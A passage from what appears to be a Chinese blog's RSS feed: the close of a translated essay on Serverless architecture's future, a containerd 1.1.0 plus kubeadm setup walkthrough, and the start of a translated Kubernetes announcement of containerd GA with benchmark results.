&lt;h4 id=&#34;工具-1&#34;&gt;工具&lt;/h4&gt;

&lt;p&gt;因为这一技术还很稚嫩，工具是个大问题。过去两年中，开发、应用和配置方面都有了很大进步，例如 Amazon 的 Serverless Application Model。尽管 Amazon 和 Google 可以在微软和 Auth0 身上得到更多灵感，但是起步阶段的体验依旧让人无法满意。&lt;/p&gt;

&lt;p&gt;我很高兴的看到，云供应商正在使用更高级的发布方法。传统系统中，经常需要编写自己的过程来处理流量转移场景，例如蓝绿部署以及&lt;a href=&#34;https://martinfowler.com/bliki/CanaryRelease.html&#34; target=&#34;_blank&#34;&gt;金丝雀发布&lt;/a&gt;，亚马逊为 Lambda 和 API 网关都提供了&lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/automating-updates-to-serverless-apps.html&#34; target=&#34;_blank&#34;&gt;自动流量转移&lt;/a&gt;支持。这样的概念对 Serverless 系统更加重要，这种系统中的组件太多——100 个 Lambda 组成的系统进行原子发布是很不现实的。实际上 &lt;a href=&#34;https://twitter.com/natpryce&#34; target=&#34;_blank&#34;&gt;Nat Pryce&lt;/a&gt; 和我提到过一种 “Mixing desk” 方法——将一组组件逐步的从流量中引入或引出。&lt;/p&gt;

&lt;p&gt;分布式监控可能是最大的改善。我们看到 Amazon 的 &lt;a href=&#34;https://aws.amazon.com/xray/&#34; target=&#34;_blank&#34;&gt;x-Ray&lt;/a&gt; 以及大量的第三方产品，但是这个问题显然还没有得到妥善解决。&lt;/p&gt;

&lt;p&gt;远程调试同样是个普遍需要。微软 Azure Function 提供了这方面的支持，但是 Lambda 还没有。在远端运行的函数中植入断点是一个非常强大的功能。&lt;/p&gt;

&lt;p&gt;最后我期望看到在“大运维”方面的工具——如何更加有效的维护成百上千的 FaaS 函数、配置服务等。例如有的组织可能会需要看到某些服务进程不再需要（常见的安全需求），对跨服务成本需要有更好的分组和可见性（对有成本要求的自治团队来说至关重要）等等。&lt;/p&gt;

&lt;h4 id=&#34;状态管理&#34;&gt;状态管理&lt;/h4&gt;

&lt;p&gt;对大部分应用来说，缺乏对服务器内状态的持久化支持是可以接受的；但这并非全部。例如大规模缓存或者会话状态场景都有这样的需求。&lt;/p&gt;

&lt;p&gt;比如说一个高吞吐应用可能希望能让函数实例长期存活，从而更好的使用进程内缓存完成任务。在自动伸缩的传统应用中，这一场景也很常见。&lt;/p&gt;

&lt;p&gt;如果有一种非常低延迟的进程外数据库访问（例如 Redis），可能会是一个稍好的解决方案。Amazon 已经在 &lt;a href=&#34;https://aws.amazon.com/elasticache/&#34; target=&#34;_blank&#34;&gt;Elasticache 产品&lt;/a&gt; 提供了一个托管 Redis 方案，并且使用 &lt;a href=&#34;http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html&#34; target=&#34;_blank&#34;&gt;Placement Groups&lt;/a&gt; 提供 EC2 服务器实例的部署协调。&lt;/p&gt;

&lt;p&gt;更多的，我认为我们会看到不同种类的混合（Serverless 和非 Serverless）应用架构来解决外部状态的问题。例如对低延迟应用，可能会使用一个传统的长期运行的服务进程来处理初始请求，在请求和本地环境中搜集所有需要进行处理的上下文，然后将包含上下文的所有请求信息发送给 FaaS 函数 Farm，这样就无需在 Serverless 中寻求数据了。&lt;/p&gt;

&lt;h4 id=&#34;平台改进&#34;&gt;平台改进&lt;/h4&gt;

&lt;p&gt;Serverless 的一些缺陷来自于平台的实现。执行时长、启动延迟以及跨函数限制都属此类。这种问题可能需要新的解决方案、或者额外的成本投入来解决。例如允许客户设置 FaaS 函数的两个实例持续可用，从而降低延迟，当然客户需要为此付出成本。微软 Azure Functions 提供的 &lt;a href=&#34;https://docs.microsoft.com/en-us/azure/azure-functions/durable-functions-overview&#34; target=&#34;_blank&#34;&gt;Durable Functions&lt;/a&gt; 以及 &lt;a href=&#34;https://docs.microsoft.com/en-us/azure/azure-functions/functions-scale&#34; target=&#34;_blank&#34;&gt;App Service Plan-hosted functions&lt;/a&gt; 就支持这种做法。&lt;/p&gt;

&lt;p&gt;当然平台的改进，不仅仅是为了修复现存问题，因此更加值得期待。&lt;/p&gt;

&lt;h4 id=&#34;教育&#34;&gt;教育&lt;/h4&gt;

&lt;p&gt;Serverless 技术中很多服务商相关的缺陷都要通过教育来解决。这类平台的每个用户都要进行积极地思考，应用程序供应商的托管会对自身的生态会产生何种影响。我们需要思考一些问题，例如“我们是否需要考虑跨供应商的并行方案以备不时之需？”，或者“在部分失效的情况下，如何实现应用的优雅降级？”。&lt;/p&gt;

&lt;p&gt;另一个需要教育的方面就是技术运维。很多团队的系统管理员都比过去少了，Serverless 更会加速这一趋势。但是系统管理员需要做的事情却不再只是配置 Unix 服务器和编写 Chef 脚本了——他们经常要在一线处理支持、网络、安全等事务。&lt;/p&gt;

&lt;p&gt;Serverless 世界中，真正的 &lt;a href=&#34;https://martinfowler.com/bliki/DevOpsCulture.html&#34; target=&#34;_blank&#34;&gt;DevOps&lt;/a&gt; 文化显得尤为重要，这是因为有很多非系统管理的活动需要完成，通常都需要开发人员承担这一责任。这可能对于开发团队和技术领导来说并非司空见惯，因此教育和同运维的协作就至关重要了。&lt;/p&gt;

&lt;h4 id=&#34;提高服务商的透明性&#34;&gt;提高服务商的透明性&lt;/h4&gt;

&lt;p&gt;最后，在迁移方面：供应商应该让客户能够更透明和清晰的理解他们的平台，从而对平台能力进行估计以完成迁移。迁移过程颇具难度，但并非不可完成，不可靠的供应商是无法获得客户认可的。&lt;/p&gt;

&lt;h3 id=&#34;模式的诞生&#34;&gt;模式的诞生&lt;/h3&gt;

&lt;p&gt;目前看来，何时以及如何使用 Serverless 架构的问题分析方法还处于起步阶段。现在团队只能向 Serverless 平台抛出所有想法，然后看看哪里走得动，哪里行不通。感谢先驱们的工作，我们开始看到一些推荐的实践方式逐步产生，这些知识无疑会持续的积累下去。&lt;/p&gt;

&lt;p&gt;我们已经在应用架构方面看到了一些模式。例如什么规模之后 Serverless 会变得笨重？如果我们能够原子化的对 FaaS 函数进行分组部署，那么如何分组才是好的？我们在向微服务转型的过程中的方法是否适用，或者不同的架构是否会引向不同的方向？&lt;/p&gt;

&lt;p&gt;Serverless 应用架构的一个讨论热点就是这一架构和事件思维的关系。AWS Lambda 的 Ajay Nair 在 2017 年 &lt;a href=&#34;https://serverless.com/blog/ajay-nair-good-citizen-event-driven-world-emit-2017/&#34; target=&#34;_blank&#34;&gt;进行了一场演讲&lt;/a&gt;，这也是 CNCF Serverless 工作组的主要&lt;a href=&#34;https://github.com/cloudevents/spec/blob/master/spec.md&#34; target=&#34;_blank&#34;&gt;讨论方向之一&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;更进一步，创建 FaaS 和传统（持续在线的）服务组件的混合架构的合理方式是什么？怎样才能更好地把 BaaS 引入现存的生态系统？或者反过来说，什么样的信号表明 BaaS 系统需要集成更多服务端代码？&lt;/p&gt;

&lt;p&gt;我们还看到更多的使用模式方面的讨论。一个 FaaS 的标准实例就是媒体转换，不论何时，一个大型媒体文件被保存到 S3 存储中，就会自动运行一个进程来在其他位置创建一个更小的版本。然而我们现在看到很多数据处理管线、Web API 以及通用的胶水代码在使用 Serverless 方式。其中一些模式可以实现为通用组件，直接进行部署。根据这些早期想法，编写了 &lt;a href=&#34;https://blog.symphonia.io/examining-the-aws-serverless-application-repository-9ef316e2fd4&#34; target=&#34;_blank&#34;&gt;Amazon 的 Serverless 应用仓库&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;最后，我们开始看到推荐的运维模式推进工具的发展。我们如何逻辑上对 FaaS、BaaS 以及传统服务器构成的混合架构进行日志集成？如何有效的调试 FaaS 函数？云供应商会提供很多答案和模式，我期待看到这方面的发展。&lt;/p&gt;

&lt;h3 id=&#34;全球分布式架构&#34;&gt;全球分布式架构&lt;/h3&gt;

&lt;p&gt;在宠物店例子中，我们看到单独的宠物店服务器如何拆分为不同的服务端组件，以及一些逻辑被转到客户端之中。本质上这个架构的焦点还是在于客户端和一些已知位置的远程服务。&lt;/p&gt;

&lt;p&gt;Serverless 世界现在有了更加模糊的分布。就拿 Amazon 的 &lt;a href=&#34;https://aws.amazon.com/lambda/edge/&#34; target=&#34;_blank&#34;&gt;Lambda@Edge&lt;/a&gt; 来说，这是一个在 Amazon 的 CloudFront CDN 上运行 Lambda 的方式。在这种方式下，Lambda 函数会成为全球分布式架构——工程师的一个上传行为，意味着在全球&lt;a href=&#34;https://aws.amazon.com/cloudfront/details/&#34; target=&#34;_blank&#34;&gt;超过 100 数据中心&lt;/a&gt;进行部署。这并不是我们习惯的设计方式，带来了更多的能力和限制。&lt;/p&gt;

&lt;p&gt;另外 Lambda 函数能够&lt;a href=&#34;https://aws.amazon.com/greengrass/&#34; target=&#34;_blank&#34;&gt;在设备上运行&lt;/a&gt;，机器讯息模型能够在移动客户端上运行，服务端和客户端的界限日趋模糊。事实上我们看到了组件的局限性，Serverless 会再无边界。&lt;/p&gt;

&lt;h3 id=&#34;超越-faas&#34;&gt;超越 FaaS&lt;/h3&gt;

&lt;p&gt;我看到很多 FaaS 应用，主要是把现存的代码和设计思路进行 FaaS 改造：转换成为一系列的无状态函数。这很棒，但是我希望看到更多抽象或者语言，能够把 FaaS 变成一种底层实现，让开发人员在得到 FaaS 的好处的同时，不用实际的思考如何将应用设计成为不相干的函数群。&lt;/p&gt;

&lt;p&gt;例如我不知道 Google 的 &lt;a href=&#34;https://cloud.google.com/dataflow/&#34; target=&#34;_blank&#34;&gt;Dataflow&lt;/a&gt; 产品是否使用了 FaaS 方式的实现，但是我可以想象有人开发了一个产品或者开源项目做了类似的事情，使用了 FaaS 作为实现方式。这里要提到 &lt;a href=&#34;http://spark.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Spark&lt;/a&gt;，Spark 是一个用于大规模数据处理的的工具，提供了高度抽象，可以用 &lt;a href=&#34;https://aws.amazon.com/elasticmapreduce/details/spark/&#34; target=&#34;_blank&#34;&gt;Amazon EMR 和 Hadoop&lt;/a&gt; 作为其底层平台。&lt;/p&gt;

&lt;h3 id=&#34;测试-1&#34;&gt;测试&lt;/h3&gt;

&lt;p&gt;Serverless 系统中，还有更多集成和验收测试方面的工作可以做，这方面的很多事情是和云原生微服务系统是一致的。&lt;/p&gt;

&lt;p&gt;这方面的激进想法包括&lt;a href=&#34;https://vimeo.com/162635477&#34; target=&#34;_blank&#34;&gt;在生产环境中测试&lt;/a&gt;以及&lt;a href=&#34;https://nl.devoteam.com/en/blog-post/monitoring-driven-development-making-money/&#34; target=&#34;_blank&#34;&gt;用监控驱动开发&lt;/a&gt;：代码通过基本的单元测试之后，部署到一个流量子集中，和其他版本进行比较。这种方法可以和前面提到的流量迁移工具相互配合。这不是一个普适工具，但是会提高很多团队的生产效率。&lt;/p&gt;

&lt;h3 id=&#34;可移植的实现&#34;&gt;可移植的实现&lt;/h3&gt;

&lt;p&gt;有两种方式来使用 Serverless，可以降低供应商绑定的风险。&lt;/p&gt;

&lt;h4 id=&#34;厂商实现的抽象&#34;&gt;厂商实现的抽象&lt;/h4&gt;

&lt;p&gt;&lt;a href=&#34;http://serverless.com/&#34; target=&#34;_blank&#34;&gt;Serverless Framework&lt;/a&gt; 最初是用来简化 Serverless 应用的运维任务，但是还提供了大量无视应用部署位置和数量的中立操作能力。假如能够在 AWS API Gateway + Lambda 和 Auth0 webtask 之间进行方便的切换，想必是非常令人惊喜的，当然这依赖于相关平台所提供的运维能力。&lt;/p&gt;

&lt;p&gt;这方面的一个难点就是 FaaS 的接口没有一个统一的标准，但是这就是 CNCF Serverless Working Group 在 &lt;a href=&#34;https://github.com/cloudevents/spec/blob/master/spec.md&#34; target=&#34;_blank&#34;&gt;CloudEvents&lt;/a&gt; 项目的工作。&lt;/p&gt;

&lt;p&gt;为多个平台共部署抽象的必要性尚值商榷，抽象的背后可能带来更多的复杂性。例如一个平台中的安全性很可能无法满足另外一个平台的需要。&lt;/p&gt;

&lt;h4 id=&#34;可部署的实现&#34;&gt;可部署的实现&lt;/h4&gt;

&lt;p&gt;不是用第三方提供商的 Serverless 技术听起来可能有点奇怪，但是思考一下如下场景：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;一个大的技术组织想要为移动应用开发团队提供一个类似 &lt;a href=&#34;https://firebase.google.com/docs/database/&#34; target=&#34;_blank&#34;&gt;Firebase&lt;/a&gt; 的数据库服务，但是同时希望使用现存的数据库架构作为后端。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;前面说过的有服务器的 FaaS 平台——项目中使用 FaaS 形式的架构，但是因为合规等方面的要求，必须在内部使用。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两个场景下使用 Serverless 方法仍然是有收益的。可以参考一下 PaaS 的先例。最开始的 PaaS 都是基于云的（例如 Heroku），但是很快人们注意到了，在自有系统中运行 PaaS 也是有好处的——也称为 私有 PaaS（例如 &lt;a href=&#34;https://en.wikipedia.org/wiki/Cloud_Foundry&#34; target=&#34;_blank&#34;&gt;Cloud Foundry&lt;/a&gt;）。&lt;/p&gt;

&lt;p&gt;我能想象，和 PaaS 一样，最终我们会看到开源和和商业的 BaaS 以及 FaaS 实现，尤其是和 Kubernetes 这样的容器平台集成的产品。&lt;/p&gt;

&lt;h3 id=&#34;社区&#34;&gt;社区&lt;/h3&gt;

&lt;p&gt;在很多城市已经有了颇具规模的 Serverless 社区及其相关的会议、见面会以及在线小组等。我认为这一社区会持续成长，最终与 Docker、Spring 这样的社区并驾齐驱。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Serverless 这个古怪的名字，是一种架构方式，我们可以用这种架构，以更小投入来运行应用中的服务端系统。Serverless 包含两种技术：BaaS 可以在前端应用中紧密的集成第三方的远端服务；FaaS 把长期运行的服务端代码转换为短期的函数实例。&lt;/p&gt;

&lt;p&gt;Serverless 不是万能药，所以要警惕那些声称 Serverless 将会替代所有现存架构的人。如果要跟进 Serverless 技术，尤其是 FaaS 之中，首先要知道，这其中有财宝——良好的伸缩和较低的成本；也有恶龙——调试和监控。&lt;/p&gt;

&lt;p&gt;不因噎废食是对新技术的一个基本态度，Serverless 有很多积极因素，其中包括降低运营开发成本、简化运维管理以及减少环境影响等。但是我认为最大的好处是，缩短了创建新组件的反馈循环过程。我是精益方法的忠实粉丝，我认为 Serverless 技术符合这一理念，能够尽快的将新方案交付给用户，并且更早获取先期反馈，这无疑是具有很大价值的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Containerd 1.1.0 尝鲜记</title>
      <link>/post/containerd-kubeadm/</link>
      <pubDate>Wed, 30 May 2018 00:41:44 +0800</pubDate>
      <guid>/post/containerd-kubeadm/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/kubernetes-containerd-integration-goes-ga/&#34; target=&#34;_blank&#34;&gt;Containerd 1.1.0 的 Kubernetes 支持已经进入可用阶段&lt;/a&gt;，Kubernetes 1.10 和未来的的 Docker 版本都会以此为基础，作为一个熟练软件安装工，自然是要先睹为快了。&lt;/p&gt;

&lt;p&gt;这里使用 Kubeadm 进行测试。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;p&gt;首先进行 Kubeadm 的环境准备：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;安装 libseccomp, conntrack&lt;/li&gt;
&lt;li&gt;关闭防火墙服务&lt;/li&gt;
&lt;li&gt;开启 sysctl：&lt;code&gt;ip_forward&lt;/code&gt;、&lt;code&gt;net.bridge.bridge-nf-call-iptables&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;参考&lt;a href=&#34;https://kubernetes.io/docs/tasks/tools/install-kubeadm/&#34; target=&#34;_blank&#34;&gt;官方指南&lt;/a&gt;，安装 kubeadm、kubelet 以及 kubectl，此处暂时不启动 kubelet 服务。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;安装-contaierd&#34;&gt;安装 contaierd&lt;/h2&gt;

&lt;p&gt;下载 &lt;a href=&#34;https://storage.googleapis.com/cri-containerd-release/cri-containerd-1.1.0.linux-amd64.tar.gz&#34; target=&#34;_blank&#34;&gt;cri-containerd 1.1.0&lt;/a&gt;，并解压，其中包含 &lt;code&gt;/usr&lt;/code&gt;、&lt;code&gt;/etc&lt;/code&gt; 以及 &lt;code&gt;opt&lt;/code&gt; 三个目录，这里我们只是用前两个目录的内容，目录结构如下，直接复制即可：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;├── etc
│   ├── crictl.yaml
│   └── systemd
│       └── system
│           └── containerd.service
└── usr
    └── local
        ├── bin
        │   ├── containerd
        │   ├── containerd-release
        │   ├── containerd-shim
        │   ├── containerd-stress
        │   ├── crictl
        │   ├── critest
        │   └── ctr
        └── sbin
            └── runc
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;crictl.yaml&lt;/code&gt;：crictl 的配置文件，缺省包含一行 &lt;code&gt;runtime-endpoint: unix:///run/containerd/containerd.sock&lt;/code&gt;，指定运行时的连接方式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;containerd.service&lt;/code&gt;：服务文件，设置自动启动即可。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctr&lt;/code&gt;：containerd 客户端&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl&lt;/code&gt;：cri 客户端&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runc&lt;/code&gt;：运行时，contaienrd 依赖项&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里可以发现，并没有包含 containerd 自己的配置文件，可以使用 &lt;code&gt;containerd config default &amp;gt; /etc/containerd/config.toml&lt;/code&gt; 命令，来生成缺省配置文件，然后自行变更。例如可以&lt;a href=&#34;https://github.com/containerd/cri/blob/v1.0.0/docs/registry.md&#34; target=&#34;_blank&#34;&gt;修改仓库镜像地址&lt;/a&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;另外对国内用户比较重要的一点是，仍然是可以使用环境变量方式的配置来设置 &lt;code&gt;HTTP_PROXY&lt;/code&gt; 以及 &lt;code&gt;NO_PROXY&lt;/code&gt; 的内容。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;配置完成后，使用 &lt;code&gt;systemctl&lt;/code&gt; 启动服务。&lt;/p&gt;

&lt;h2 id=&#34;载入镜像&#34;&gt;载入镜像&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;docker.io/coredns/coredns:1.0.6&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/kube-proxy-amd64:v1.10.3&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/etcd-amd64&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/kube-apiserver-amd64:v1.10.3&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/kube-controller-manager-amd64:v1.10.3&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/kube-proxy-amd64:v1.10.3&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/kube-scheduler-amd64:v1.10.3&lt;/li&gt;
&lt;li&gt;k8s.gcr.io/pause:3.1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;ctr 的镜像载入命令&lt;/strong&gt;：&lt;code&gt;ctr cri load image.tar&lt;/code&gt;，似乎不支持 gz。&lt;/p&gt;

&lt;h2 id=&#34;配置-kubelet-使用-containerd&#34;&gt;配置 Kubelet 使用 containerd&lt;/h2&gt;

&lt;p&gt;简单的在 Kubelet 的环境变量上加入如下内容，再启动 Kubelet 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Service]
Environment=&amp;quot;KUBELET_EXTRA_ARGS=--runtime-cgroups=/system.slice/containerd.service --container-runtime=remote --runtime-request-timeout=15m --container-runtime-endpoint=unix:///run/containerd/containerd.sock&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;kubeadm-集群安装&#34;&gt;Kubeadm 集群安装&lt;/h2&gt;

&lt;p&gt;这里提供一个简单的初始化命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;kubeadm init \
--pod-network-cidr=192.168.0.0/16 \
--feature-gates CoreDNS=true \
--ignore-preflight-errors=Service-Docker \
--ignore-preflight-errors=SystemVerification \
--kubernetes-version=v1.10.3 # 防止 kubeadm 向服务器查询镜像列表。
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubeadm 缺省情况下依旧是需要检查 Docker 的运行情况的，因此这里我们使用 &lt;code&gt;--ignore-preflight-errors&lt;/code&gt; 开关关闭这项检查。&lt;/p&gt;

&lt;p&gt;Master 初始化结束之后，就可以跟随 kubeadm 指示，进入其他节点，运行 &lt;code&gt;kubeadm join&lt;/code&gt; 命令来加入集群了，加入命令同样需要设置 &lt;code&gt;--ignore-preflight-errors=all&lt;/code&gt; 来规避 Docker 检查。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;接下来可以按照自己喜好安装网络插件了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以使用 &lt;code&gt;kubectl describe nodes [node name]&lt;/code&gt; 来检查节点信息：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;...
Container Runtime Version:  containerd://1.1.0
Kubelet Version:            v1.10.3
Kube-Proxy Version:         v1.10.3
PodCIDR:                     192.168.0.0/24
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以看到，运行时已经更新为 &lt;code&gt;containerd://1.1.0&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;正如在前面文章提到的，containerd 并非 Docker 的替代品，只是一个子集，独立使用是很困难的，因此还是比较适合用于 Kubelet 控制之下的容器运行支持。&lt;/p&gt;

&lt;h2 id=&#34;下载链接以及参考链接&#34;&gt;下载链接以及参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;cri-containerd 1.1.0&lt;/strong&gt;：&lt;code&gt;https://storage.googleapis.com/cri-containerd-release/cri-containerd-1.1.0.linux-amd64.tar.gz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;kubeadm 安装指南&lt;/strong&gt;：&lt;code&gt;https://kubernetes.io/docs/tasks/tools/install-kubeadm/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;containerd 安装指南&lt;/strong&gt;：&lt;code&gt;https://github.com/containerd/containerd/releases&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Containerd 1.1.0 的 Kubernetes 支持已经进入可用阶段&lt;/strong&gt;： &lt;code&gt;https://blog.fleeto.us/post/kubernetes-containerd-integration-goes-ga/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes Containerd 集成进入 GA 阶段</title>
      <link>/post/kubernetes-containerd-integration-goes-ga/</link>
      <pubDate>Fri, 25 May 2018 02:09:22 +0800</pubDate>
      <guid>/post/kubernetes-containerd-integration-goes-ga/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2018/05/24/kubernetes-containerd-integration-goes-ga/&#34; target=&#34;_blank&#34;&gt;Kubernetes Containerd Integration Goes GA&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.linkedin.com/in/liu-lantao-96a97351&#34; target=&#34;_blank&#34;&gt;Lantao Liu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.twitter.com/mikebrow&#34; target=&#34;_blank&#34;&gt;Mike Brown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在之前的博客（&lt;a href=&#34;https://kubernetes.io/blog/2017/11/containerd-container-runtime-options-kubernetes&#34; target=&#34;_blank&#34;&gt;Containerd Brings More Container Runtime Options for Kubernetes&lt;/a&gt;）中，我们介绍了 Kubernetes Containerd 集成的 Alpha 版本。经过六个月的开发，Containerd 的集成现在进入了 GA 阶段，现在可以将 &lt;a href=&#34;https://github.com/containerd/containerd/releases/tag/v1.1.0&#34; target=&#34;_blank&#34;&gt;Containerd 1.1&lt;/a&gt; 作为容器运行时为生产环境的 Kubernetes 提供支撑了。&lt;/p&gt;

&lt;p&gt;Containerd 1.1 支持 Kubernetes 1.10 及以上版本，支持 Kubernetes 的所有特性。目前在 Kubernetes 的测试设施中，Containerd 在 &lt;a href=&#34;https://cloud.google.com/&#34; target=&#34;_blank&#34;&gt;Google 云平台&lt;/a&gt;上的测试覆盖已经和 Docker 集成持平了。（参见：&lt;a href=&#34;https://k8s-testgrid.appspot.com/sig-node-containerd&#34; target=&#34;_blank&#34;&gt;Test Dashboard&lt;/a&gt;）。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;很高兴看到 Containerd 快速成长到今天的这一重要里程碑。阿里云从 Containerd 诞生之初就开始积极的采用 Containerd，开发团队对于简单和健壮的重视，使其完美的运行在我们的无服务器 Kubernetes 产品之中，提供了很好的性能和稳定性。Containerd 无疑将会成为容器世界的核心引擎，并持续创新前行。&lt;/p&gt;

&lt;p&gt;Xinwei，阿里云工程师。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;架构提升&#34;&gt;架构提升&lt;/h2&gt;

&lt;p&gt;Kubernetes 的 Containerd 集成架构有两次重大改进，每一次都让整个体系更加稳定和高效。&lt;/p&gt;

&lt;p&gt;Containerd 1.0 - CRI-Containerd（已终止）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cri-containerd.png&#34; alt=&#34;cri-containerd.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Containerd 1.0 中，需要一个叫做 cri-containerd 的守护进程，他的功能是提供 Kubelet 和 Containerd 之间的互操作支持。Cri-Containerd 处理来自 Kubelet 的 &lt;a href=&#34;https://kubernetes.io/blog/2016/12/container-runtime-interface-cri-in-kubernetes/&#34; target=&#34;_blank&#34;&gt;容器运行时接口（CRI）&lt;/a&gt;服务请求，并使用 containerd 来管理容器和容器的镜像。对比之前的 Docker CRI 实现（&lt;a href=&#34;https://github.com/kubernetes/kubernetes/tree/v1.10.2/pkg/kubelet/Dockershim&#34; target=&#34;_blank&#34;&gt;Dockershim&lt;/a&gt;），他清理了整个体系中的一些多余部分。&lt;/p&gt;

&lt;p&gt;然而 Cri-containerd 和 Containerd 1.0 还是两个不同的守护进程，相互之间使用 gRPC 进行通信。额外进程给用户的理解和部署都造成了麻烦，并引入了不必要的通信开支。&lt;/p&gt;

&lt;p&gt;Containerd 1.1 - CRI 插件（目前）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/containerd.png&#34; alt=&#34;containerd.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 Containerd 1.1 中，Cri-containerd 守护进程进行了重构，成为了 Containerd 的 CRI 插件。CRI 插件处于 Containerd 1.1 内部，缺省启用。和 Cri-containerd 不同，CRI 插件和 Containerd 之间通过直接的程序调用来协同工作。新架构让这一产品更加稳定高效，去除了过程中的 gRPC 开销。用户现在可以直接使用 Containerd 1.1 来支撑 Kubernetes，不再需要 Cri-containerd 守护进程。&lt;/p&gt;

&lt;h2 id=&#34;性能&#34;&gt;性能&lt;/h2&gt;

&lt;p&gt;Containerd 1.1 的一个主要目标就是提高性能。这里的性能主要指的是 Pod 启动延迟以及守护进程的资源使用情况。&lt;/p&gt;

&lt;p&gt;下面的结果是 Containerd 1.1 和 Docker 18.03 CE 之间的对比。Containerd 1.1 集成使用了内置其中的 CRI 插件；Docker 18.03 CE 集成使用的是 Dockershim。&lt;/p&gt;

&lt;p&gt;下面的结果是使用 Kubernetes 节点性能 Benchmark 生成的，这个 Benchmark 工具是 &lt;a href=&#34;https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-node-tests.md&#34; target=&#34;_blank&#34;&gt;Kubernetes 节点端到端测试&lt;/a&gt;的一部分。绝大多数的 Containerd 测试结果都是可以在 &lt;a href=&#34;http://node-perf-dash.k8s.io/&#34; target=&#34;_blank&#34;&gt;节点性能 Dashboard&lt;/a&gt; 上进行公开访问的。&lt;/p&gt;

&lt;h3 id=&#34;pod-启动延迟&#34;&gt;Pod 启动延迟&lt;/h3&gt;

&lt;p&gt;“105 pod batch startup benchmark” 结果显示，相对 Docker 18.03 CE 的 dochershim 集成来说，Containerd 1.1 的集成的延迟时间更短（越低越好）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/latency.png&#34; alt=&#34;latency&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;cpu-和内存&#34;&gt;CPU 和内存&lt;/h2&gt;

&lt;p&gt;在 105 个 Pod 的稳定状态下，Containerd 1.1 集成消耗的 CPU 和内存都比 Docker 18.03 CE 的 Dockershim 集成要少。这个结果和节点上运行的 Pod 数量关系紧密，之所以选择 105 这个数字，是因为这是目前每节点上运行 Pod 的缺省数量上限。&lt;/p&gt;

&lt;p&gt;如下图所示，对比 Docker 18.03 CE 的 Dockershim 集成，Containerd 1.1 集成的 Kubelet CPU 占用降低了 30.89%，容器运行时 CPU 消耗降低了 68.13%，Kubelet 实际使用内存（RSS）降低了 11.30%，容器运行时 RSS 降低了 12.78%。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cpu.png&#34; alt=&#34;cpu&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/memory.png&#34; alt=&#34;memory&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;crictl&#34;&gt;crictl&lt;/h2&gt;

